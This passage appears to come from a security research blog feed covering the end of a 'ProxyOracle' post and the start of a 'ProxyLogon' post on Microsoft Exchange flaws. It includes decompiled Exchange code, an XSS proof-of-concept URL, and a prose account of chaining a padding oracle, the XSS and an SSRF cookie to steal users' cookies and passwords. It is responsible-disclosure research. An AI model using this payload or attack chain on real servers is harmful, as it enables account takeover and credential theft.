class="n">PrivateKey</span> <span class="k">as</span> <span class="n">RSACryptoServiceProvider</span><span class="p">);</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">array2</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">rgb2</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">text2</span><span class="p">);</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">rgb3</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">text3</span><span class="p">);</span> <span class="n">array</span> <span class="p">=</span> <span class="n">rsacryptoServiceProvider</span><span class="p">.</span><span class="nf">Decrypt</span><span class="p">(</span><span class="n">rgb2</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span> <span class="n">array2</span> <span class="p">=</span> <span class="n">rsacryptoServiceProvider</span><span class="p">.</span><span class="nf">Decrypt</span><span class="p">(</span><span class="n">rgb3</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span> <span class="c1">// ...</span> <span class="k">using</span> <span class="p">(</span><span class="n">AesCryptoServiceProvider</span> <span class="n">aesCryptoServiceProvider</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">AesCryptoServiceProvider</span><span class="p">())</span> <span class="p">{</span> <span class="n">aesCryptoServiceProvider</span><span class="p">.</span><span class="n">Key</span> <span class="p">=</span> <span class="n">array</span><span class="p">;</span> <span class="n">aesCryptoServiceProvider</span><span class="p">.</span><span class="n">IV</span> <span class="p">=</span> <span class="n">array2</span><span class="p">;</span> <span class="k">using</span> <span class="p">(</span><span class="n">ICryptoTransform</span> <span class="n">cryptoTransform2</span> <span class="p">=</span> <span class="n">aesCryptoServiceProvider</span><span class="p">.</span><span class="nf">CreateDecryptor</span><span class="p">())</span> <span class="p">{</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">bytes2</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span> <span class="k">try</span> <span class="p">{</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">array5</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">text</span><span class="p">);</span> <span class="n">bytes2</span> <span class="p">=</span> <span class="n">cryptoTransform2</span><span class="p">.</span><span class="nf">TransformFinalBlock</span><span class="p">(</span><span class="n">array5</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">array5</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="n">CryptographicException</span> <span class="n">ex8</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">ExTraceGlobals</span><span class="p">.</span><span class="n">VerboseTracer</span><span class="p">.</span><span class="nf">IsTraceEnabled</span><span class="p">(</span><span class="m">1</span><span class="p">))</span> <span class="p">{</span> <span class="n">ExTraceGlobals</span><span class="p">.</span><span class="n">VerboseTracer</span><span class="p">.</span><span class="n">TraceDebug</span><span class="p">&lt;</span><span class="n">CryptographicException</span><span class="p">&gt;((</span><span class="kt">long</span><span class="p">)</span><span class="k">this</span><span class="p">.</span><span class="nf">GetHashCode</span><span class="p">(),</span> <span class="s">"[FbaModule::ParseCadataCookies] Received CryptographicException {0} transforming auth"</span><span class="p">,</span> <span class="n">ex8</span><span class="p">);</span> <span class="p">}</span> <span class="n">httpApplication</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="nf">AppendToLog</span><span class="p">(</span><span class="s">"&amp;CryptoError=PossibleSSLCertrolloverMismatch"</span><span class="p">);</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="n">FormatException</span> <span class="n">ex9</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">ExTraceGlobals</span><span class="p">.</span><span class="n">VerboseTracer</span><span class="p">.</span><span class="nf">IsTraceEnabled</span><span class="p">(</span><span class="m">1</span><span class="p">))</span> <span class="p">{</span> <span class="n">ExTraceGlobals</span><span class="p">.</span><span class="n">VerboseTracer</span><span class="p">.</span><span class="n">TraceDebug</span><span class="p">&lt;</span><span class="n">FormatException</span><span class="p">&gt;((</span><span class="kt">long</span><span class="p">)</span><span class="k">this</span><span class="p">.</span><span class="nf">GetHashCode</span><span class="p">(),</span> <span class="s">"[FbaModule::ParseCadataCookies] Received FormatException {0} decoding caData auth"</span><span class="p">,</span> <span class="n">ex9</span><span class="p">);</span> <span class="p">}</span> <span class="n">httpApplication</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="nf">AppendToLog</span><span class="p">(</span><span class="s">"&amp;DecodeError=InvalidCaDataAuthCookie"</span><span class="p">);</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="kt">string</span> <span class="n">@string</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">Unicode</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="n">bytes2</span><span class="p">);</span> <span class="n">request</span><span class="p">.</span><span class="n">Headers</span><span class="p">[</span><span class="s">"Authorization"</span><span class="p">]</span> <span class="p">=</span> <span class="n">@string</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>It should be noted that since the IV is encrypted with the SSL certificate private key, we can’t recover the first block of the ciphertext through XOR. But it wouldn’t cause any problem for us because the C# internally processes the strings as UTF-16, so the first 12 bytes of the ciphertext must be <code class="language-plaintext highlighter-rouge">B\x00a\x00s\x00i\x00c\x00 \x00</code>. With one more Base64 encoding applied, we will only lose the first 1.5 bytes in the username field.</p> <blockquote> <p>(16−6×2) ÷ 2 × (3/4) = 1.5</p> </blockquote> <h1 id="the-exploit">The Exploit</h1> <p>As of now, we have a Padding Oracle that allows us to decrypt any user’s cookie. BUT, how can we get the client cookies? Here we find another vulnerability to chain them together.</p> <h2 id="xss-to-steal-client-cookies">XSS to Steal Client Cookies</h2> <p>We discover an XSS (CVE-2021-31195) in the CAS Frontend (Yeah, CAS again) to chain together, the root cause of this XSS is relatively easy: Exchange forgets to sanitize the data before printing it out so that we can use the <code class="language-plaintext highlighter-rouge">\</code> to escape from the JSON format and inject arbitrary JavaScript code.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://exchange/owa/auth/frowny.aspx ?app=people &amp;et=ServerError &amp;esrc=MasterPage &amp;te=\ &amp;refurl=}}};alert(document.domain)// </code></pre></div></div> <p><img src="/assets/img/blog/20210806/2/5.png" alt="" /></p> <p>But here comes another question: all the sensitive cookies are protected by the HttpOnly flag, which makes us unable to access the cookies by JavaScript. WHAT SHOULD WE DO?</p> <h2 id="bypass-the-httponly">Bypass the HttpOnly</h2> <p>As we could execute arbitrary JavaScript on browsers, why don’t we just insert the SSRF cookie we used in ProxyLogon? Once we add this cookie and assign the Backend target value as our malicious server, Exchange will become a proxy between the victims and us. We can then take over all the client’s HTTP static resources and get the protected HttpOnly cookies!</p> <p><img src="/assets/img/blog/20210806/2/6.png" alt="" /></p> <p>By chaining bugs together, we have an elegant exploit that can steal any user’s cookies by just sending him/her a malicious link. What’s noteworthy is that the XSS here is only helping us to steal the cookie, which means all the decryption processes wouldn’t require any authentication and user interaction. Even if the user closes the browser, it wouldn’t affect our Padding Oracle Attack!</p> <p>Here is the <a href="https://www.youtube.com/watch?v=VuJvmJZxogc">demonstration video</a> showing how we recover the victim’s password:</p> <div style="text-align: center;"><iframe width="560" height="315" src="https://www.youtube.com/embed/VuJvmJZxogc" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe></div> <!-- # The Timeline * --> https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/ https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle Fri, 06 Aug 2021 00:00:00 +0800 A New Attack Surface on MS Exchange Part 1 - ProxyLogon! <style type="text/css"> table { width: 100%; overflow: auto; word-break: normal; word-break: keep-all; font-size: 0.6em; } table th { font-weight: bold } table th, table td { padding: 5px 11px; border: 1px solid #ddd; } table tr { background-color: #fff; border-top: 1px solid #ccc; } table tr:nth-child(2n) { background-color: #f8f8f8; } .center-image { margin: 0 auto; display: block; } </style> <p>The series of A New Attack Surface on MS Exchange:</p> <ul> <li><a href="/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/">A New Attack Surface on MS Exchange Part 1 - ProxyLogon!</a></li> <li><a href="/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/">A New Attack Surface on MS Exchange Part 2 - ProxyOracle!</a></li> <li><a href="/blog/2021/08/22/a-new-attack-surface-on-MS-exchange-part-3-ProxyShell/">A New Attack Surface on MS Exchange Part 3 - ProxyShell!</a></li> <li><a href="/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay/">A New Attack Surface on MS Exchange Part 4 - ProxyRelay!</a></li> </ul> <p>Microsoft Exchange, as one of the most common email solutions in the world, has become part of the daily operation and security connection for governments and enterprises. This January, we reported a series of vulnerabilities of Exchange Server to Microsoft and named it as <a href="https://proxylogon.com/">ProxyLogon</a>. ProxyLogon might be the most severe and impactful vulnerability in the Exchange history ever. If you were paying attention to the industry news, you must have heard it.</p> <p>While looking into ProxyLogon from the architectural level, we found it is not just a vulnerability, but an attack surface that is totally new and no one has ever mentioned before. This attack surface could lead the hackers or security researchers to more vulnerabilities. Therefore, we decided to focus on this attack surface and eventually found at least 8 vulnerabilities. These vulnerabilities cover from server side, client side, and even crypto bugs. We chained these vulnerabilities into 3 attacks:</p> <ol> <li>ProxyLogon: The most well-known and impactful Exchange exploit chain</li> <li>ProxyOracle: The attack which could recover any password in plaintext format of Exchange users</li> <li>ProxyShell: The exploit chain we demonstrated at <a href="https://twitter.com/thezdi/status/1379467992862449664">Pwn2Own 2021</a> to take over Exchange and earn $200,000 bounty</li> </ol> <p>I would like to highlight that all vulnerabilities we unveiled here are logic bugs, which means they could be reproduced and exploited more easily than any memory corruption bugs. We have presented our research at <a href="https://www.blackhat.com/us-21/briefings/schedule/index.html#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-microsoft-exchange-server-23442">Black Hat USA</a> and <a href="https://www.defcon.org/html/defcon-29/dc-29-speakers.html">DEFCON</a>, and won the Best Server-Side bug of <a href="https://pwnies.com/winners/">Pwnie Awards 2021</a>. You can check our presentation materials here:</p> <ul> <li>ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! <a href="https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf">[Slides]</a> <a href="https://www.youtube.com/watch?v=5mqid-7zp8k">[Video]</a></li> </ul> <p>By understanding the basics of this new attack surface, you won’t be surprised why we can pop out 0days easily!</p> <h1 id="intro">Intro</h1> <p>I would like to state that all the vulnerabilities mentioned have been reported via the responsible vulnerability disclosure process and patched by Microsoft. You could find more detail of the CVEs and the report timeline from the following table.</p> <table> <thead> <tr> <th style="text-align: center">Report Time</th> <th style="text-align: center">Name</th> <th style="text-align: center">CVE</th> <th style="text-align: center">Patch Time</th> <th style="text-align: center">CAS<sup>[1]</sup></th> <th style="text-align: center">Reported By</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">Jan 05, 2021</td> <td style="text-align: center">ProxyLogon</td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855">CVE-2021-26855</a></td> <td style="text-align: center">Mar 02, 2021</td> <td style="text-align: center">Yes</td> <td style="text-align: center">Orange Tsai, Volexity and MSTIC</td> </tr> <tr> <td style="text-align: center">Jan 05, 2021</td> <td style="text-align: center">ProxyLogon</td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065">CVE-2021-27065</a></td> <td style="text-align: center">Mar 02, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center">Orange Tsai, Volexity and MSTIC</td> </tr> <tr> <td style="text-align: center">Jan 17, 2021</td> <td style="text-align: center">ProxyOracle</td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196">CVE-2021-31196</a></td> <td style="text-align: center">Jul 13, 2021</td> <td style="text-align: center">Yes</td> <td style="text-align: center">Orange Tsai</td> </tr> <tr> <td style="text-align: center">Jan 17, 2021</td> <td style="text-align: center">ProxyOracle</td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195">CVE-2021-31195</a></td> <td style="text-align: center">May 11, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center">Orange Tsai</td> </tr> <tr> <td style="text-align: center">Apr 02, 2021</td> <td style="text-align: center">ProxyShell<sup>[2]</sup></td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473">CVE-2021-34473</a></td> <td style="text-align: center">Apr 13, 2021</td> <td style="text-align: center">Yes</td> <td style="text-align: center">Orange Tsai working with ZDI</td> </tr> <tr> <td style="text-align: center">Apr 02, 2021</td> <td style="text-align: center">ProxyShell<sup>[2]</sup></td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523">CVE-2021-34523</a></td> <td style="text-align: center">Apr 13, 2021</td> <td style="text-align: center">Yes</td> <td style="text-align: center">Orange Tsai working with ZDI</td> </tr> <tr> <td style="text-align: center">Apr 02, 2021</td> <td style="text-align: center">ProxyShell<sup>[2]</sup></td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207">CVE-2021-31207</a></td> <td style="text-align: center">May 11, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center">Orange Tsai working with ZDI</td> </tr> <tr> <td style="text-align: center">Jun 02, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center">-</td> <td style="text-align: center">-</td> <td style="text-align: center">Yes</td> <td style="text-align: center">Orange Tsai</td> </tr> <tr> <td style="text-align: center">Jun 02, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33768">CVE-2021-33768</a></td> <td style="text-align: center">Jul 13, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center">Orange Tsai and Dlive</td> </tr> </tbody> </table> <div style="font-size:0.6em; line-height: 1.6;"> <br /><em>[1] Bugs relate to this new attack surface direclty</em><br /> <em>[2] Pwn2Own 2021 bugs</em> </div> <p>Why did Exchange Server become a hot topic? From my point of view, the whole ProxyLogon attack surface is actually located at an early stage of Exchange request processing. For instance, if the entrance of Exchange is 0, and 100 is the core business logic, ProxyLogon is somewhere around 10. Again, since the vulnerability is located at the beginning place, I believe anyone who has reviewed the security of Exchange carefully would spot the attack surface. This was also <a href="https://twitter.com/orange_8361/status/1346401788811825153">why I tweeted my worry</a> about bug collision after reporting to Microsoft. The vulnerability was so impactful, yet it’s a simple one and located at such an early stage.</p> <p>You all know what happened next, Volexity found that an APT group was leveraging the same SSRF (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855">CVE-2021-26855</a>) to access users’ emails in early January 2021 and reported to Microsoft. Microsoft also released the urgent patches in March. From the <a href="https://youtu.be/rB255D-wnw0?t=999">public information</a> released afterwards, we found that even though they used the same SSRF, the APT group was exploiting it in a very different way from us. We completed the ProxyLogon attack chain through <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065">CVE-2021-27065</a>, while the APT group used EWS and two unknown vulnerabilities in their attack. This has convinced us that there is a bug collision on the SSRF vulnerability.</p> <p><img src="/assets/img/blog/20210806/1/1.png" alt="" /> <em><small>Image from <a href="https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/">Microsoft Blog</a></small></em></p> <p>Regarding the ProxyLogon PoC we reported to MSRC appeared in the wild in late February, we were as curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation. With a clearer timeline appearing and more discussion occurring, it seems like this is <a href="https://msrc-blog.microsoft.com/2012/03/16/proof-of-concept-code-available-for-ms12-020/">not the first time that something like this happened to Microsoft</a>. Maybe you would be interested in learning some <a href="https://www.wsj.com/articles/microsoft-probing-whether-leak-played-role-in-suspected-chinese-hack-11615575793">interesting stories from here</a>.</p> <h1 id="why-targeting-on-exchange-server">Why targeting on Exchange Server?</h1> <p>Mail server is a highly valuable asset that holds the most confidential secrets and corporate data. In other words, controlling a mail server means controlling the lifeline of a company. As the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.</p> <p>Normally, I will review the existing papers and bugs before starting a research. Among the whole Exchange history, is there any interesting case? Of course. Although most vulnerabilities are based on known attack vectors, such as the deserialization or bad input validation, there are still several bugs that are worth mentioning.</p> <h3 id="the-most-special">The most special</h3> <p>The most special one is the <a href="https://msrc-blog.microsoft.com/2017/07/20/englishmansdentist-exploit-analysis/">arsenal</a> from <a href="https://en.wikipedia.org/wiki/Equation_Group">Equation Group</a> in 2017. It’s the only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003. If the arsenal leak happened earlier, it could end up with another nuclear-level crisis.</p> <h3 id="the-most-interesting">The most interesting</h3> <p>The most interesting one is <a href="https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange">CVE-2018-8581</a> disclosed by someone who cooperated with ZDI. Though it was simply an SSRF, with the feature, it could be combined with NTLM Relay, the attacker could turn a boring SSRF into <a href="https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/">something really fancy</a>. For instance, it could directly control the whole Domain Controller through a low privilege account.</p> <h3 id="the-most-surprising">The most surprising</h3> <p>The most surprising one is <a href="https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys">CVE-2020-0688</a>, which was also disclosed by someone working with ZDI. The root cause of this bug is due to a hard-coded cryptographic key in Microsoft Exchange. With this hard-coded key, an attacker with low privilege can take over the whole Exchange Server. And as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.</p> <p><img src="/assets/img/blog/20210806/1/2.gif" alt="" class="center-image" /></p> <h1 id="where-is-the-new-attack-surface">Where is the new attack surface</h1> <p>Exchange is a very sophisticated application. Since 2000, Exchange has released a new version every 3 years. Whenever Exchange releases a new version, the architecture changes a lot and becomes different. The changes of architecture and iterations make it difficult to upgrade an Exchange Server. In order to ensure the compatibility between the new architecture and old ones, several design debts were incurred to Exchange Server and led to the new attack surface we found.</p> <p><img src="/assets/img/blog/20210806/1/3.png" alt="" /></p> <p>Where did we focus at Microsoft Exchange? We focused on the Client Access Service, CAS. CAS is a fundamental component of Exchange. Back to the version 2000/2003, CAS was an independent Frontend Server in charge of all the Frontend web rendering logics. After several renaming, integrating, and version differences, CAS has been downgraded to a service under the Mailbox Role. The <a href="https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019">official documentation from Microsoft</a> indicates that:</p> <blockquote> <p>Mailbox servers contain the Client Access services that <strong>accept client connections for all protocols</strong>. These frontend services are <strong>responsible for routing or proxying connections</strong> to the corresponding backend services on a Mailbox server</p> </blockquote> <p>From the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared.</p> <h1 id="the-cas-architecture">The CAS architecture</h1> <p>CAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it’s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding Backend Service. As a Web Security researcher, I focused on the Web implementation of CAS.</p> <p><img src="/assets/img/blog/20210806/1/4.png" alt="" /></p> <p>The CAS web is built on Microsoft IIS. As you can see, there are two websites inside the IIS. The “Default Website” is the Frontend we mentioned before, and the “Exchange Backend” is where the business logic is. After looking into the configuration carefully, we notice that the Frontend is binding with ports 80 and 443, and the Backend is listening on ports 81 and 444. All the ports are binding with <code class="language-plaintext highlighter-rouge">0.0.0.0</code>, which means anyone could access the Frontend and Backend of Exchange directly. Wouldn’t it be dangerous? Please keep this question in mind and we will answer that later.</p> <p><img src="/assets/img/blog/20210806/1/5.png" alt="" /></p> <p>Exchange implements the logic of Frontend and Backend via IIS module. There are several modules in Frontend and Backend to complete different tasks, such as the filter, validation, and logging. The Frontend must contain a Proxy Module. The Proxy Module picks up the HTTP request from the client side and adds some internal settings, then forwards the request to the Backend. As for the Backend, all the applications include the Rehydration Module, which is in charge of parsing Frontend requests, populating the client information back, and continuing to process the business logic. Later we will be elaborating how Proxy Module and Rehydration Module work.</p> <p><img src="/assets/img/blog/20210806/1/6.png" alt="" /></p> <h2 id="frontend-proxy-module">Frontend Proxy Module</h2> <p>Proxy Module chooses a handler based on the current <code class="language-plaintext highlighter-rouge">ApplicationPath</code> to process the HTTP request from the client side. For instance, visiting <code class="language-plaintext highlighter-rouge">/EWS</code> will use <code class="language-plaintext highlighter-rouge">EwsProxyRequestHandler</code>, as for <code class="language-plaintext highlighter-rouge">/OWA</code> will trigger <code class="language-plaintext highlighter-rouge">OwaProxyRequestHandler</code>. All the handlers in Exchange inherit the class from <code class="language-plaintext highlighter-rouge">ProxyRequestHandler</code> and implement its core logic, such as how to deal with the HTTP request from the user, which URL from Backend to proxy to, and how to synchronize the information with the Backend. The class is also the most centric part of the whole Proxy Module, we will separate <code class="language-plaintext highlighter-rouge">ProxyRequestHandler</code> into 3 sections:</p> <p><img src="/assets/img/blog/20210806/1/7.png" alt="" /></p> <h3 id="frontend-reqeust-section">Frontend Reqeust Section</h3> <p>The Request section will parse the HTTP request from the client and determine which cookie and header could be proxied to the Backend. Frontend and Backend relied on HTTP Headers to synchronize information and proxy internal status. Therefore, Exchange has defined a blacklist to avoid some internal Headers being misused.</p> <p><strong>HttpProxy\ProxyRequestHandler.cs</strong></p> <div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">protected</span> <span class="k">virtual</span> <span class="kt">bool</span> <span class="nf">ShouldCopyHeaderToServerRequest</span><span class="p">(</span><span class="kt">string</span> <span class="n">headerName</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="p">!</span><span class="kt">string</span><span class="p">.</span><span class="nf">Equals</span><span class="p">(</span><span class="n">headerName</span><span class="p">,</span> <span class="s">"X-CommonAccessToken"</span><span class="p">,</span> <span class="n">OrdinalIgnoreCase</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="kt">string</span><span class="p">.</span><span class="nf">Equals</span><span class="p">(</span><span class="n">headerName</span><span class="p">,</span> <span class="s">"X-IsFromCafe"</span><span class="p">,</span> <span class="n">OrdinalIgnoreCase</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="kt">string</span><span class="p">.</span><span class="nf">Equals</span><span class="p">(</span><span class="n">headerName</span><span class="p">,</span> <span class="s">"X-SourceCafeServer"</span><span class="p">,</span> <span class="n">OrdinalIgnoreCase</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="kt">string</span><span class="p">.</span><span class="nf">Equals</span><span class="p">(</span><span class="n">headerName</span><span class="p">,</span> <span class="s">"msExchProxyUri"</span><span class="p">,</span> <span class="n">OrdinalIgnoreCase</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="kt">string</span><span class="p">.</span><span class="nf">Equals</span><span class="p">(</span><span class="n">headerName</span><span class="p">,</span> <span class="s">"X-MSExchangeActivityCtx"</span><span class="p">,</span> <span class="n">OrdinalIgnoreCase</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="kt">string</span><span class="p">.</span><span class="nf">Equals</span><span class="p">(</span><span class="n">headerName</span><span class="p">,</span> <span class="s">"return-client-request-id"</span><span class="p">,</span> <span class="n">OrdinalIgnoreCase</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="kt">string</span><span class="p">.</span><span class="nf">Equals</span><span class="p">(</span><span class="n">headerName</span><span class="p">,</span> <span class="s">"X-Forwarded-For"</span><span class="p">,</span> <span class="n">OrdinalIgnoreCase</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">(!</span><span class="n">headerName</span><span class="p">.</span><span class="nf">StartsWith</span><span class="p">(</span><span class="s">"X-Backend-Diag-"</span><span class="p">,</span> <span class="n">OrdinalIgnoreCase</span><span class="p">)</span> <span class="p">||</span> <span class="k">this</span><span class="p">.</span><span class="n">ClientRequest</span><span class="p">.</span><span class="nf">GetHttpRequestBase</span><span class="p">().</span><span class="nf">IsProbeRequest</span><span class="p">());</span> <span class="p">}</span> </code></pre></div></div> <p>In the last stage of Request, Proxy Module will call the method <code class="language-plaintext highlighter-rouge">AddProtocolSpecificHeadersToServerRequest</code> implemented by the handler to add the information to be communicated with the Backend in the HTTP header. This section will also serialize the information from the current login user and put it in a new HTTP header <code class="language-plaintext highlighter-rouge">X-CommonAccessToken</code>, which will be forwarded to the Backend later.</p> <p>For instance, If I log into Outlook Web Access (OWA) with the name Orange, the <code class="language-plaintext highlighter-rouge">X-CommonAccessToken</code> that Frontend proxy to Backend will be:</p> <p><img src="/assets/img/blog/20210806/1/8.png" alt="" /></p> <h3 id="frontend-proxy-section">Frontend Proxy Section</h3> <p>The Proxy Section first uses the <code class="language-plaintext highlighter-rouge">GetTargetBackendServerURL</code> method to calculate which Backend URL should the HTTP request be forwarded to. Then initialize a new HTTP Client request with the method <code class="language-plaintext highlighter-rouge">CreateServerRequest</code>.</p> <p><strong>HttpProxy\ProxyRequestHandler.cs</strong></p> <div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">protected</span> <span class="n">HttpWebRequest</span> <span class="nf">CreateServerRequest</span><span class="p">(</span><span class="n">Uri</span> <span class="n">targetUrl</span><span class="p">)</span> <span class="p">{</span> <span class="n">HttpWebRequest</span> <span class="n">httpWebRequest</span> <span class="p">=</span> <span class="p">(</span><span class="n">HttpWebRequest</span><span class="p">)</span><span class="n">WebRequest</span><span class="p">.</span><span class="nf">Create</span><span class="p">(</span><span class="n">targetUrl</span><span class="p">);</span> <span class="k">if</span> <span class="p">(!</span><span class="n">HttpProxySettings</span><span class="p">.</span><span class="n">UseDefaultWebProxy</span><span class="p">.</span><span class="n">Value</span><span class="p">)</span> <span class="p">{</span> <span class="n">httpWebRequest</span><span class="p">.</span><span class="n">Proxy</span> <span class="p">=</span> <span class="n">NullWebProxy</span><span class="p">.</span><span class="n">Instance</span><span class="p">;</span> <span class="p">}</span> <span class="n">httpWebRequest</span><span class="p">.</span><span class="n">ServicePoint</span><span class="p">.</span><span class="n">ConnectionLimit</span> <span class="p">=</span> <span class="n">HttpProxySettings</span><span class="p">.</span><span class="n">ServicePointConnectionLimit</span><span class="p">.</span><span class="n">Value</span><span class="p">;</span> <span class="n">httpWebRequest</span><span class="p">.</span><span class="n">Method</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">ClientRequest</span><span class="p">.</span><span class="n">HttpMethod</span><span class="p">;</span> <span class="n">httpWebRequest</span><span class="p">.</span><span class="n">Headers</span><span class="p">[</span><span class="s">"X-FE-ClientIP"</span><span class="p">]</span> <span class="p">=</span> <span class="n">ClientEndpointResolver</span><span class="p">.</span><span class="nf">GetClientIP</span><span class="p">(</span><span class="n">SharedHttpContextWrapper</span><span class="p">.</span><span class="nf">GetWrapper</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">HttpContext</span><span class="p">));</span> <span class="n">httpWebRequest</span><span class="p">.</span><span class="n">Headers</span><span class="p">[</span><span class="s">"X-Forwarded-For"</span><span class="p">]</span> <span class="p">=</span> <span class="n">ClientEndpointResolver</span><span class="p">.</span><span class="nf">GetClientProxyChainIPs</span><span class="p">(</span><span class="n">SharedHttpContextWrapper</span><span class="p">.</span><span class="nf">GetWrapper</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">HttpContext</span><span class="p">));</span> <span class="n">httpWebRequest</span><span class="p">.</span><span class="n">Headers</span><span class="p">[</span><span class="s">"X-Forwarded-Port"</span><span class="p">]</span> <span class="p">=</span> <span class="n">ClientEndpointResolver</span><span class="p">.</span><span class="nf">GetClientPort</span><span class="p">(</span><span class="n">SharedHttpContextWrapper</span><span class="p">.</span><span class="nf">GetWrapper</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">HttpContext</span><span class="p">));</span> <span class="n">httpWebRequest</span><span class="p">.</span><span class="n">Headers</span><span class="p">[</span><span class="s">"X-MS-EdgeIP"</span><span class="p">]</span> <span class="p">=</span> <span class="n">Utilities</span><span class="p">.</span><span class="nf">GetEdgeServerIpAsProxyHeader</span><span class="p">(</span><span class="n">SharedHttpContextWrapper</span><span class="p">.</span><span class="nf">GetWrapper</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">HttpContext</span><span class="p">).</span><span class="n">Request</span><span class="p">);</span> <span class="c1">// ...</span> <span class="k">return</span> <span class="n">httpWebRequest</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> 